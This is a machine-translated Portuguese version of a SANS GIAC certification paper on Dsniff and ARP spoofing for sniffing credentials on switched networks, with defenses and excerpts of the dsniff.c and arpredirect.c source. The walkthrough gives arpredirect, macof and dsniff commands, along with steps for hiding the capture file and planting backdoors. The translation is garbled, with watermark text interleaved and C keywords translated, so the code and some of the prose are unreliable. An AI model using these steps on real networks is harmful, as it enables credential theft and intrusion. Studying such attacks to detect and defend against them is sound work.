Você está na página 1de 23

Machine Translated by Google

Documento de Certificação de Garantia de Informações Globais

Copyright Instituto SANS


O autor detém todos os direitos
Este documento é retirado do diretório GIAC de profissionais certificados. A repostagem não é permitida sem autorização expressa por escrito.

Interessado em aprender mais?


Confira a lista dos próximos eventos que
oferecem "Hacker Tools, Techniques, and Incident Handling (Security
504)" em http://www.giac.org/registration/gcih
Machine Translated by Google

Dsniff e Sniffing de Rede Comutada

Autor: Brad Bowers

Opção 2 de Atribuição Prática GCIH direitos.


SANS 2000 – Colina do Parlamento

Detalhes da exploração

Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Nome: Dsniff mantém
cheio
Versão atual: Dsniff-2.2

Localização: http://www.monkey.org/~dugsong/dsniff

Sistemas operacionais: Unix, Linux (a maioria das distr.), Windows 95/98, WinNT, Windows 2000

Variantes: Existem muitas ferramentas de sniffer tanto comerciais quanto disponíveis gratuitamente no

Internet que pode ser usada para capturar e filtrar o tráfego de rede. Dsniff é apenas um sabor.
Autor
-2002,
Como a maioria das ferramentas de sniffing de pacotes disponíveis gratuitamente, o Dsniff foi construído em torno da libpcap

biblioteca, que dá aos programas a capacidade de capturar pacotes em uma rede. Alguns próximos
2000
variantes para o programa Dsniff são:

Esniff http://www.asmodeus.com/archive/IP_toolz/ESNIFF.C

Esniff é um sniffer genérico do UNIX criado e lançado pelos escritores do


Instituto
Revista Phra. Ao contrário do Dsniff, o Esniff não analisa a autenticação

informações de todos os outros tráfegos de rede.

LinSniff http://rootshell.com/archive-j457nxiqi3gq59dv/199804/linsniff.c.html
SEM
LinSniff é um sniffer baseado em Linux projetado especificamente para capturar
© senhas que cruzam redes baseadas em broadcast (Ethernet). LinSniff é

semelhante ao Dsniff, mas não tem a capacidade de decodificar muitos dos

protocolos de autenticação que o Dsniff faz.

L0pht Crack http://www.l0pht.com/l0phtcrack/

Impressão digital da chave


L0pht = AF19
Crack é umFA27 2F94 998D
conhecido FDB5
cracker DE3Dde
de senha F8B5 06E4
força A169
bruta para4E46
Windows

hash de senha. O programa inclui um sniffer de pacotes capaz de

capturar informações de autenticação de sessão SMB.

© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

Etherpeek http://www.aggroup.com

Etherpeek é um sniffer que funciona no Macintosh e Windows

plataformas. Etherpeek é um pouco caro, mas oferece muitas melhorias

e tem colocar a funcionalidade. Ao contrário do Dsniff, o Etherpeek não foi


direitos.
projetado especificamente para capturar informações de autenticação, mas tem

algumas habilidades de captura de autenticação.

Ethload http://www.computercraft.com/noprogs/ethld104.zip

Versões mais antigas do Ethload têm a capacidade de capturar rlogin e telnet

informações
Impressão digital da de FA27
chave = AF19 autenticação de sessão
2F94 998D fora das
FDB5 DE3D redes.
F8B5 06E4 A169 4E46
mantém
cheio

Breve Descrição: Dsniff é um conjunto de programas de sniffing de pacotes de rede criados por Dug

Música para uso em testes de penetração de rede. Dsniff é capaz de capturar e decodificar

informações de autenticação para vários protocolos. Quando Dsniff é usado em conjunto

com formas conhecidas de técnicas de falsificação de ARP e/ou DNS, torna-se um poderoso

exploit que pode ser usado para obter informações de senha e autenticação de um
Autor
-2002,
redes normais e baseadas em switch.

2000
Descrição do protocolo: Sniffers trabalham na tecnologia de transmissão Ethernet. Os dados são enviados

através da rede em quadros que são compostos de várias seções. Os primeiros bytes de

um quadro Ethernet contém o endereço de origem e destino, que é enviado a todos os

Instituto
uma rede Ethernet. Normalmente, apenas o host com o endereço de hardware (MAC) que

corresponde à parte de destino do quadro escutaria e aceitaria o quadro. Farejadores

explorar o fato de que os quadros são transmitidos para todos os hosts configurando a placa Ethernet para
SEM
aceitar todas as transmissões de rede em seu caminho.
©
Introdução

Dsniff é o mais abrangente e poderoso sniffing de pacotes disponível gratuitamente

Impressão
conjunto dedigital
ferramentas
da chave
para
= AF19
capturar
FA27e processar
2F94 998D informações
FDB5 DE3D deF8B5
autenticação.
06E4 A169 Sua
4E46
funcionalidade e

vários utilitários o tornaram uma ferramenta comum usada por invasores para farejar senhas e

informações de autenticação fora das redes. Capacidades Dsniff de captura e decodificação

2
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

muitos protocolos de autenticação diferentes o tornam uma ferramenta ideal para ser usada com outros

exploits para comprometer sistemas ou elevar o acesso. O exploit que vou focar é o

uso de Dsniff e seus utilitários junto com falsificação de ARP para criar um sniffing de autenticação

dispositivo que é capaz de trabalhar em transmissão normal (Ethernet) e comutada


direitos.
ambientes de rede. Vou detalhar a função e utilidades do Dnsniff e ARP

Falsificação e mostrar como eles podem ser usados em cooperação para comprometer ou

elevar o acesso em uma rede. Além disso, detalharei ferramentas e técnicas para mitigar o

vulnerabilidades a esse tipo de exploração.

Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
Dsniff

O Dsniff foi lançado pela primeira vez em 1998, como mais um conjunto de ferramentas sniffer que utilizava o popular

biblioteca libpcap para capturar e processar pacotes. Dsniff é baseado na funcionalidade de seu

predecessores (ie.TCPDump, Sniffit) que usavam a biblioteca libpcap para colocar um

placa de rede da estação de trabalho em modo promíscuo e capturar todos os pacotes transmitidos
Autor
-2002,
uma rede. A funcionalidade e popularidade do Dsniff levou à comunidade de hackers

dedicando muito tempo e recursos para o desenvolvimento do Dsniff. Recentemente o


2000
A suíte Dsniff foi portada para várias plataformas, incluindo Win32.

O avanço mais óbvio com o Dsniff é sua capacidade de capturar e analisar

informações de autenticação de uma rede. Dsniff foi escrito para monitorar, capturar e
Instituto
filtrar informações de autenticação conhecidas de uma rede enquanto ignora todos os outros dados

pacotes. Isso permite que um invasor limite o tempo necessário para analisar
SEM
grandes quantidades de dados (pacotes) na esperança de encontrar informações de autenticação. Dsniff
©
também vai um passo além e é capaz de decodificar inúmeras formas de autenticação

informações que ele captura junto com a capacidade de capturar muitos outros tipos de TCP

conexões. Dsniff é atualmente capaz de decodificar as informações de autenticação para o

seguintes protocolos:

Impressão digital
PC em qualquer NNTP
lugar da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

AOL Instant Messenger ICQ


HTTP Protocolo de transferência de arquivos (FTP)

3
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

IMAP POP

Napster SNMP

Oráculo Solicitações de montagem de RPC

Protocolo de diretório leve (LDAP) Telnet


direitos.
X11 RPC yppasswd

PostgreSQL Protocolo de informações de roteamento (RIP)

Login remoto (rlogin) Texto simples do Windows NT

Sniffer Pro (Associados de Rede) Internet Relay Chat (IRC)

Meias
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3DAbra
F8B5 06E4 A169
o caminho mais 4E46
curto primeiro (OSPF)
mantém
cheio
Criador de reuniões Citrix ICA

Informações de autenticação Sybase.

Juntamente com a capacidade do Dsniff de decodificar os protocolos da lista acima, o Dsniff também inclui

utilitários que permitem monitorar e salvar e-mails, URLs HTTP e transferências de arquivos que

ocorreram na rede. Alguns dos utilitários incluídos no Dsniff Autor


-2002,
suite e suas funções são:

2000
Arpredirect: que permite que um host intercepte pacotes de um host de destino em uma LAN

destinado a outro host forjando respostas ARP. Isso permite efetivamente

host de um invasor para falsificar o endereço MAC de outra máquina.

TCPnice: diminui a velocidade de conexões TCP atuais específicas por meio de modelagem de tráfego ativa.
Instituto
Isso pode ser feito forjando pequenos anúncios de janela TCP e

Respostas de extinção de fonte ICMP. Isso permite que um invasor reduza a velocidade
SEM
conexões em uma rede rápida.
©
FindGW: FindGW usa várias formas de sniffing passivo para determinar o local

porta de rede.

Macof: Macof é usado para inundar uma rede local com MAC forjado aleatório

endereços (o valor deste utilitário será descrito posteriormente).

TCPKill: TCPkill
Impressão digital éda
usado
chavepara encerrar
= AF19 FA27conexões TCP
2F94 998D ativas.
FDB5 DE3D F8B5 06E4 A169 4E46

Mailsnarf: Mailsnarf é capaz de capturar e enviar tráfego de correio SMTP que é

cheirado na rede.

4
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

WebSpy: O utilitário Webspy captura e envia informações de URL para um cliente web

navegador em tempo real.

UrlSnarf: UrlSnarf captura e gera todos os URLs solicitados sniffados de HTTP

tráfego. O Urlsnarf captura o tráfego em CLF (Common Log Format) que é


direitos.
usado pela maioria dos servidores web. O formato CLF permite que os dados sejam posteriormente

processado por um analisador de log (wwwstat, analógico, etc.).

Impressão digitale da
Usando Dsniff chave
seus = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
utilitários mantém
cheio

Dsniff e seus utilitários são capazes de rodar em várias plataformas diferentes, incluindo

win32, Unix e Linux. Compilar e executar o Dsniff geralmente é simples, embora muitas vezes

bibliotecas configuradas incorretamente (libpcap, Libnet, Libnids) causam problemas com o

funcionalidade dos programas. Para iniciar o Dsniff para captura de informações de autenticação, o

O seguinte comando de exemplo pode ser usado: Autor


-2002,

># ./dsniff –i eth0 –w sniffed.txt


2000
># dsniff: escutando em eth0.

Neste exemplo, o Dsniff é iniciado com as chaves i e w. I permite que o usuário especifique o
Instituto
dispositivo para sniffing e W é usado para especificar um arquivo de saída para dados capturados. Neste ponto

o programa está ouvindo ativamente na rede.

SEM
A ilustração a seguir fornece uma melhor compreensão de como o Dsniff funciona e seus
©
funcionalidade. Usaremos um exemplo hipotético de uma rede de pequena empresa onde

foco em três máquinas. Chamaremos as máquinas server1, server2 e server3. Nisso

cenário de um administrador usando server1, deseja se conectar ao server2 usando o

Aplicativo PCAnywhere. O administrador, que chamaremos de John, é como a maioria dos pequenos

administradores
Impressão digitalda
daempresa, sobrecarregados,
chave = AF19 mal pagos
FA27 2F94 998D FDB5 eDE3D
incapazes
F8B5 de proteger
06E4 A169 com
4E46sucesso seus

rede com o tempo e os recursos disponíveis. Quando John instalou o PCAnywhere

aplicativo nos servidores de produção, ele não o configurou para utilizar criptografia.

5
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

Portanto, as informações de autenticação são transmitidas com criptografia de baixo nível ou

texto.

1. Server1 solicita conexão com o serviço Como a rede usa Ethernet


(PCAnywhere). direitos.
Tecnologia, todos os hosts veem o tráfego
2. Server1 transmite dados de autenticação.
Os dados de autenticação enviados para qualquer host são
3. Dsniff fareja a linha e captura uma cópia do
capturado pelo Dsniff Daemon.
dados de autenticação.

Servidor2

PC em qualquer lugar
dados de autenticação

Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
Sniffed PcAnywhere
Dados de autenticação
Servidor1 Servidor3
Dsniff Daemon

Com a configuração padrão, a conexão entre o cliente e o host do PCAnywhere

não é criptografado ou reverterá para qualquer criptografia especificada pelo cliente. Quando
Autor
-2002,
John solicita uma conexão com uma máquina host, ele é solicitado a fornecer um nome de usuário e

senha. John então passa a digitar seu nome de usuário e senha para o host
2000
conexão. Em condições normais, a única máquina a responder ou ouvir os pedidos

e transmissões da máquina cliente seriam o host, embora todas as máquinas na

rede seria capaz de ouvir os pedidos, mas ignorá-los. Já que o servidor está rodando

o daemon Dsniff e está configurado para ouvir todos os pacotes enviados pela rede.
Instituto
capaz de capturar os dados que se destinavam apenas às máquinas cliente e host.

SEM
Uma das muitas maneiras que os analistas de segurança de rede usam para mitigar a exposição a

©
sniffers de pacotes está movendo uma rede de uma arquitetura de broadcast para comutada. Desde uma

switch não transmite pacotes para todos os hosts em uma rede, ele atua como um direcionador de tráfego e

apenas transmite pacotes através de caminhos definidos para um host. Isso aumenta a segurança e

desempenho de uma rede. Uma arquitetura baseada em comutação eliminaria a possibilidade

de Dsniff e qualquer outro sniffer de pacotes seja capaz de capturar o tráfego de rede. A impressão digital da
chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
O exemplo a seguir ilustra como o tráfego em uma rede comutada é transmitido apenas para o

host a que se destina.

6
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

Ex. Mudar cache arp


O switch direciona os pacotes com base no MAC 129.203.1.120 00-00-C0-BE-73-CA Porta 01
endereço na origem e destino 129.203.1.122 03-00-07-E2-AE-35 Porta 02
máquinas. 129.203.1.124 00-AF-45-06-44-51 Porta 03
Pacotes comunicados entre server1 e
Server2 são vistos apenas por seus respeitados server1(129.203.1.120) solicita uma conexão com server2
máquinas. (129.203.1.122).
Server3 executando o daemon Dsniff não consegue O switch procura o endereço MAC e a porta para server2
veja os pacotes e capture a autenticação
direitos.
(03-00-07-E2-AE-35 Porta 02) e conecta o servidor1 ao
em formação. server2 através de qualquer porta ou segmento server2
atribuído a. Nenhuma outra porta recebe tráfego para esta conexão.

Trocar
129.203.1.2

???
? ? 06E4 A169 4E46
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 mantém
cheio

Servidor1 Servidor2 Servidor3


129.203.1.120 129.203.1.122 Dsniff Daemon
129.203.1.124

Um switch, roteador ou hub inteligente adiciona um pouco de inteligência à transmissão da rede


Autor
-2002,
tráfego olhando para o endereço MAC, o endereço de hardware de 48 bits dado pelo

fabricante, do host de destino. Um switch irá procurar em suas tabelas um endereço MAC
2000
e, em seguida, direcione o tráfego para o endereço IP atribuído a esse MAC. Como um farejador não pode

capturar pacotes neste tipo de rede, um invasor deve encontrar uma maneira de enganar ou “falsificar”

a mudança para pensar que a máquina do invasor é uma máquina legítima diferente. Para

fazer isso requer um pouco de conhecimento sobre a rede que está sendo detectada. Também o atacante
Instituto
deve ser capaz de configurar a máquina farejadora no cache ARP do switch ou como um relé no

a rede. Esse tipo de ataque é chamado de falsificação de ARP.

SEM
©
Falsificação de ARP

A falsificação de ARP utiliza as fraquezas de segurança inerentes de como os hosts em uma transmissão

rede retêm informações sobre os computadores ao seu redor. ARP Spoofing é uma impressão digital de chave = AF19
FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
técnica que usa endereços MAC e IP forjados para mascarar outra máquina em

cache ARP. O cache ARP contém informações de mapeamento para traduzir determinados endereços IP

7
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

com um endereço MAC de hardware. Quando um host deseja se comunicar com outro host,

a máquina solicitante verifica seu cache ARP para um mapeamento do endereço IP dos hosts para

endereço de hardware (endereço MAC). Se houver listagem no cache ARP dos solicitantes,

prossegue para estabelecer uma conexão. Se o solicitante não tiver um mapeamento para o host
direitos.
em seu programa ARP, ele transmitirá uma solicitação ARP para todos os hosts no segmento de rede.

Em condições normais, apenas o host com o endereço MAC solicitado responderá com

seu IP. Uma vez que o host transmite seu endereço IP e de hardware, uma conexão é estabelecida

e a comunicação pode prosseguir. A falha de segurança aqui é que uma vez que o endereço IP de um host é

Impressão
mapeado nodigital
cache daARP
chave
de=outro
AF19é FA27 2F94 998D
considerado umaFDB5 DE3D
máquina F8B5 06E4
confiável. OutraA169
falha4E46
do
mantém
cheio
programa ARP é que uma solicitação ARP não é necessária para um host aceitar uma resposta ARP

de um hospedeiro. Muitos sistemas irão, exceto a resposta ARP não solicitada e atualizar seu cache

com as informações.

Em uma rede comutada, um switch pode ser configurado para atribuir vários endereços IP a um

porta única em um switch. Isso permite que ferramentas de falsificação de ARP, como Dsniff, engane o switch
Autor
-2002,
adicionar um endereço MAC mascarado em seu cache, conectando o endereço do invasor

máquina para a mesma porta que uma máquina de destino. Agora que tanto a máquina de um invasor quanto um
2000
alvo estão recebendo informações transmitidas no switch, os dados de autenticação podem novamente

ser cheirado fora da linha.

Instituto
Executando a vulnerabilidade

SEM
Com algumas informações sobre a funcionalidade de falsificação de Dsniff e ARP, agora podemos
©
concentre-se em como os dois podem ser usados juntos para elevar o acesso em um switch baseado

rede. Nesta situação, um invasor já comprometeu uma conta com poucos privilégios

em um servidor e quer elevar seu acesso e comprometer outras caixas até que possa

ganhe acesso root e plante uma backdoor.

Impressão
1. O atacante
digital dacomeça
chave =fazendo
AF19 FA27
a impressão
2F94 998D
digital
FDB5(reconhecimento)
DE3D F8B5 06E4
da rede
A169para
4E46determinar o que

máquinas para as quais ele quer apontar o farejador. Isso pode ser feito com ferramentas como

Nmap para varrer a rede em busca de hosts e serviços ativos, o comando ping ou por

8
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

usando o utilitário FindGW do Dsniff. O invasor usa essas ferramentas para coletar

tanta informação quanto possível sobre serviços e funções de outros hosts no

rede. Reconhecimento ou impressão digital de uma rede está além do escopo deste

papel, mas para obter detalhes sobre como conduzir a impressão digital da rede, consulte:
direitos.
www.sans.org/newlook/events/guide.htm.

Rede

A máquina do invasor começa a sondar a rede para


potenciais anfitriões alvo e obter uma melhor
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
compreensão da estrutura da rede.

Sistema comprometido

2. Depois que o invasor encontrar um host ou hosts que ele deseja detectar a autenticação
Autor
-2002,
pacotes dele começa a falsificar o switch enviando respostas ARP forjadas para o

switch para adicionar o endereço IP do host sniffing ao cache ARP para mapeá-lo para o
2000
mesma porta que o(s) host(s) de destino. Isso pode ser feito usando o utilitário Macof do Dsniff

que inunda uma rede local com endereço MAC fazendo com que alguns switches falhem

open, ou outros programas como Hunt. O exemplo a seguir mostra o uso de


Instituto
Macof. Neste exemplo -i representa a interface, -s é o IP de origem –e é o

endereço de hardware de destino.

SEM
>#./macof –i eth0 –s 129.203.1.122 –e 03-00-07-E2-AE

35
©
>#...

Outra maneira de falsificar o switch é usar o utilitário dsniff ARPredirect. Dentro


Impressão
nodigital
exemploda chave = AF19
a seguir, FA27 2F94
ARPredirect 998Dpara
é usado FDB5 DE3D F8B5
redirecionar 06E4 do
pacotes A169 4E46
destino

host(s) na rede para o endereço IP da máquina farejadora. Isso é feito por

forjando as respostas ARP. O –i é a interface, –t é usado para o destino ser ARP

9
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

envenenado (switch), e por último é o IP do host para interceptar os pacotes. Uma vez

arpredirect é implementado, o dsniff é iniciado. A saída do dsniff pode ser armazenada

em um arquivo oculto e colocado em um diretório com vários arquivos para ajudar a obscurecer sua

presença.
direitos.
># ./arpredirect –i eth0 –t 129.203.1.2 129.203.1.122
>#...

># ./dsniff –I eth0 –w /bin/.sniffed

Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio

Servidor FTP Servidor Web Servidor DNS Servidor de arquivos

O invasor usa o MacOf para transmitir respostas ARP forjadas ao


trocar.
Switch adiciona sniffers IP e MAC ao seu cache ARP. Autor
-2002, Trocar
O sniffer agora está atribuído à mesma porta que o destino
máquinas estão localizadas.

2000

Sistema comprometido

Instituto
Agora todo o tráfego direcionado para a máquina alvo será transmitido no

mesma porta no switch que o sniffer.

3. Com a máquina do invasor atribuída ao mesmo segmento no switch que o


SEM
máquinas alvo, o atacante agora inicia o daemon Dsniff para farejar
©
informações de autenticação. Quando um usuário ou administrador válido abre um telnet ou ftp

sessão em um host de destino, suas informações de autenticação serão capturadas por

Dsniff e logado em um arquivo. Com as informações de autenticação capturadas, o

o invasor pode comprometer mais hosts mais profundamente dentro de uma rede e
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
instale backdoors para leitura posterior.

10
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

Assinatura do Ataque:

O Dsniff é um ataque passivo na rede, por isso deixa poucos sinais de sua existência. Segurança

os analistas a procuram mais proativamente. Geralmente, em uma rede Ethernet Dsniff pode ser
direitos.
colocados em quase qualquer lugar em uma rede, embora existam alguns locais que os invasores podem

escolha por causa de seu valor estratégico. Como o Dsniff se concentra na captura de autenticação

informações que um invasor provavelmente colocará o programa em um host próximo ao servidor que

recebe muitas solicitações de autenticação. Os alvos especialmente comuns são hosts e gateways

Impressão digitaldois
que ficam entre da chave = AF19
segmentos de FA27 2F94 998DUm
rede diferentes. FDB5 DE3D para
benefício F8B5os
06E4 A169 de
analistas 4E46
segurança é que
mantém
cheio
Dsniff coloca a interface de rede da máquina host no modo promíscuo, que

aparecem em detectores sniffer. Outro sinal de Dsniff pode ser grandes quantidades de espaço em disco

sendo consumido. Dependendo da configuração do Dsniff e da quantidade de rede

tráfego de autenticação, o arquivo que o Dsniff usa para armazenar os dados de captura pode crescer bastante

ampla. Sinais de falsificação de ARP são alterações frequentes nos mapeamentos de ARP em hosts e

comuta. Os administradores também podem ver uma quantidade anormal de solicitações ARP. Numerosos
Autor
-2002,
entradas inválidas em tabelas ARP também podem ser um sinal de atividade de falsificação ARP.

2000
Defesas

Defender-se contra o Dsniff não é fácil, pois sua forma de ataque é passiva. O próprio Dsniff faz

não aparece no IDS ou nos logs de auditoria de segurança porque não altera os dados. Dsniff também

Instituto
não aparece como um devorador de recursos de rede porque apenas analisa os primeiros bytes de

um pacote. Embora não haja maneiras seguras de proteger uma rede de Dsniff e ARP

spoofing, existem vários métodos diferentes que podem ser usados para mitigar o
SEM
vulnerabilidade. Os primeiros analistas de segurança devem usar um ou mais dos recursos comerciais ou
©
ferramentas disponíveis gratuitamente para pesquisar na rede por sniffers e máquinas que estão em

modo promíscuo. Um exemplo de uma ferramenta gratuita que pode ser usada para pesquisar uma rede por

máquinas em modo promíscuo é Anti-sniff da L0pht Heavy Industries.

Anti-sniff mede o tempo de reação das interfaces de rede. A partir dessas reações

vezes o anti-sniff
Impressão digital édacapaz
chavede= extrapolar
AF19 FA27se2F94
a interface de rede
998D FDB5 de um
DE3D host
F8B5 estáA169
06E4 em 4E46

modo promíscuo. Outras ferramentas que podem ser usadas para encontrar máquinas em modo promíscuo

são:

11

© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

Snifftest Snifftest é um detector sniffer muito eficaz que funciona no Solaris. Snifftest

é até capaz de encontrar sniffers que não colocam a interface de rede em

modo promíscuo.

Promisc. Promisc. é um detector sniffer para as plataformas Linux. Promisc. pesquisas


direitos.
a rede para hosts que estão em modo promíscuo.

Existem também algumas ferramentas disponíveis gratuitamente que podem ajudar a monitorar e detectar falsificação de ARP

também. Uma ferramenta que pode ser utilizada é o ARPWatch. ARPWatch é um utilitário Unix gratuito, que

monitora os mapeamentos de IP/Ethernet para alterações. Quando uma alteração é detectada, o ARPWatch

Impressão digital
notifique um da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
administrador. mantém
cheio
Outro método que pode ser usado para se defender contra essas formas de ataques é o

uso de mapeamentos ARP estáticos. Muitos sistemas operacionais permitem que o cache ARP seja feito

estático em vez de expirar a cada dois minutos. Este método é eficaz em

impedindo a falsificação de ARP, embora exija atualização manual do cache ARP a cada

vez que há uma mudança de endereço de hardware. Analistas de segurança e administradores de rede

pode conduzir linhas de base sobre a quantidade de tráfego ARP que é enviado pela rede. A partir de
Autor
-2002,
esses administradores de linhas de base podem monitorar se quantidades anormais de tráfego ARP estão sendo

Outra forma de defesa é a criptografia. A criptografia é uma maneira eficaz de defender


2000
contra Dsniff e outros farejadores. A criptografia embaralha o tráfego de rede e fornece

benefícios óbvios na defesa contra sniffers. Se a comunicação entre os sistemas hosts

é criptografado na camada de rede, há pouca chance de programas como o Dsniff


Instituto
coletar informações úteis da rede, pois o invasor não saberá quais pacotes

contêm informações de autenticação e quais não. A segurança da rede de

ataques sniffer é proporcional à força da criptografia usada. Apesar de


SEM
criptografia não é um método completo e aumenta significativamente o tráfego de rede,
©
fornecer uma defesa forte. Outras defesas de criptografia que devem ser usadas para mitigar

ataques sniffer está mudando programas como telnet com programas alternativos como SSH

que não transmitem informações de autenticação em texto não criptografado. Todos os programas que possuem o

a capacidade de criptografar informações de autenticação e sessão deve ser implementada.

Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

12
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

Código fonte

Os segmentos de código-fonte a seguir fazem parte do pacote Dsniff 2.2. Por brevidade eu tenho

incluiu apenas os segmentos de código que são usados na execução do exploit. Uma completa
direitos.
A listagem do código-fonte do Dsniff Suite pode ser recuperada em:
www.datanerds.net/~mike/dsniff.html

/*
dsniff.c

Impressão
Farejador dedigital
senhas,da chave
porque = AF19
DrHoney FA27
queria um. 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 mantém
cheio
Isto destina-se apenas para fins de demonstração e uso educacional.

Copyright (c) 2000 Dug Song <dugsong@monkey.org>

$Id: dsniff.c,v 1.63 2000/06/14 16:16:01 Dugsong Exp $


*/

#include "config.h"

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
Autor
-2002,
#include <unistd.h>
#include <sinal.h>
#ifdef HAVE_ERR_H
#include <err.h> 2000
#fim se
#include <libnet.h>
#include <nids.h>
#include "opções.h"
#include "trigger.h"
#include "registro.h"
#include "versão.h" Instituto
#define MAX_LINES 6
#define MIN_SNAPLEN 1024

int Opt_client = 0;
SEM
int Opt_debug = 0;
u_short Opt_dns = 1;
©
int Opt_magic = 0;
int Opt_read = 0;
você
Opt_write = 0;
é você
opt_snaps = MIN_SNAPS;
int Opt_lines = MAX_LINES;

caractere estático *Serviços = NULL;


caractere estático *Savefile = NULL;
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
vazio
uso (vazio)
{
fprintf(stderr, "Versão: " VERSÃO "\n"
"Uso: dsniff [-cdmn] [-i interface] [-s snaplen] "

13
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

"[-f services] [-r|-w savefile]\n");


saída(1);
}

void
sig_hup(int sig) {

registro_fechar(); direitos.
trigger_dump();

record_init(Savefile);
trigger_init(Serviços);
}

void
sig_die(int sig) {
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 record_close(); saída(0);
mantém
cheio
}

void
null_syslog(int type, int errnum, struct ip *iph, void *data) { }

int
main(int argc, char *argv[]) {

intc;
Autor
-2002,
while ((c = getopt(argc, argv, "cdf:i:mns:r:w:h?V")) != -1) { switch (c)
{ case 'c':
2000
Opt_client = 1;
parar;
caso 'd':
Opt_debug++;
parar;
caso 'f':
Serviços = opçãog;
Instituto
parar;
caso 'eu':
nids_params.device = escolherg;
parar; caso 'm':
SEM Opt_magic = 1;
© parar; caso 'n':

Opt_dns = 0;
parar;
caso 's':
if ((Opt_snaplen = atoi(optarg)) == 0) uso();

parar;
caso 'r':
Opt_read = 1;
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Salvararquivo =
escolhag; parar; caso
'w':
Opt_write = 1;
Salvararquivo = escolhag;

14
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

parar;
predefinição:

uso();
}

} argc -= optind;
argv += optind;
direitos.
if (argc != 0 || (Opt_read && Opt_write)) uso();

if (!record_init(Savefile))
err(1, "record_init");

sinal (SIGHUP, sig_hup);


sinal (SIGINT, sig_die); sinal
(SIGTERM,
Impressão sig_die);
digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
mantém
cheio
if (Opt_read)
{ record_dump();
registro_fechar();
saída(0);

} nids_params.scan_num_hosts = 0;
nids_params.syslog = null_syslog;

if (!nids_init())
errx(1, "nids_init: %s", nids_errbuf);

trigger_init(Serviços);
Autor
-2002,
nids_register_ip(trigger_ip);
nids_register_ip(trigger_udp);
2000
if (Opt_client) {
nids_register_ip(trigger_tcp_raw);
sinal(SIGALRM, trigger_tcp_raw_timeout);
alarme(TRIGGER_TCP_RAW_TIMEOUT);

} else nids_register_tcp(trigger_tcp);
Instituto
warningx("ouvindo em %s", nids_params.device);
nids_run();

/* NÃO ALCANÇADO */

SEM
saída(0);
} ©
/* 5000. */

/
* arpredirect.c

Redirecione os pacotes de um host de destino (ou de todos os hosts)


destinados a outro host na LAN para nós mesmos.
Impressão digital da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Copyright (c) 1999 Dug Song <dugsong@monkey.org>

$Id: arpredirect.c,v 1.15 2000/06/14 16:07:05 dugsong Exp $ */

15
© Instituto SANS 2000 - 2002 Como parte do repositório prático do GIAC. O autor retém todos os direitos.
Machine Translated by Google

#include "config.h"

#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h> #include
<string.h> #include <signal.h>
#ifdef HAVE_ERR_H direitos.
#include <err.h> # endif
#include <libnet.h> #include
<pcap.h>

#include "versão.h"

/* from arp.c
Impressão */ da chave = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 int
digital
mantém
cheio
arp_cache_lookup(in_addr_t, struct ether_addr *);

caractere estático *intf;


estrutura estática libnet_link_int *llif;
estático static in_addr_t
ether_addr
spoof_ip,spoof_mac,
target_ip; target_mac; struct

void
uso(void) {

fprintf(stderr, "Versão: " VERSÃO "\n"


"Uso: arpredirect [-i interface] [-t destino] host\n"); Autor
-2002,
saída(1);
}

int
arp_send(struct libnet_link_int *llif, char *dev, int op,
2000
u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
char ebuf[128];
u_char pacote[60];

if (sha == NULL) { if
Instituto
((sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf))
== NULL)
